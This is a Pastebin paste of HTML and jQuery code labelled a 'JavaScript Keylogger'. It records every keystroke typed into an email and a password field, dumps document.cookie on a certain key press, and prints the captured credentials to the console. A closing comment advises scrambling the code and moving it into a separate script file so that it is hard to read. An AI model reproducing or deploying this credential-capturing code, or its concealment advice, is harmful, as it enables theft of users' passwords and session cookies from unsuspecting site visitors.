Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!-- JavaScript Keylogger -->
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <title>Document</title>
- <script src="http://code.jquery.com/jquery-3.2.1.slim.min.js" charset="utf-8"></script>
- </head>
- <body>
- <table>
- <tr>
- <td>Email </td>
- <td><input type="text" name="" id="email"> <br></td>
- </tr>
- <tr>
- <td>Password </td>
- <td><input type="password" name="" id="password"> <br></td>
- </tr>
- </table>
- <script>
- var email = [];
- var password = [];
- /*
- * JS way of Implementation is
- var x = document.querySelectorAll("input");
- x[0].addEventListener("keypress",function(event){
- console.log("the key is: ",String.fromCodePoint(event.which));
- });
- */
- $("#email").keypress(function(event){
- if(event.which == 17){
- console.log(document.cookie);
- }
- else if(event.which == 13){
- email.push("<ENTER>");
- }
- else if(event.which == 9){
- email.push("<TAB>");
- }
- else if (event.which == 8){
- if(email.length != 0)
- email.pop();
- }
- else {
- email.push(String.fromCharCode(event.which));
- }
- });
- $("#password").keypress(function(event){
- if(event.which == 17){
- console.log(document.cookie);
- }
- else if(event.which == 13){
- password.push("<ENTER>");
- }
- else if(event.which == 9){
- password.push("<TAB>");
- }
- else if (event.which == 8){
- if(email.length != 0)
- password.pop();
- }
- else {
- password.push(String.fromCharCode(event.which));
- }
- });
- var printEmail = function(){
- console.log("email: ",email);
- console.log("password: ",password);
- }
- // just use some sort of scrumbler and make it hard for anyOne to read // and put this into other script file
- </script>
- </body>
- </html>
Add Comment
Please, Sign In to add comment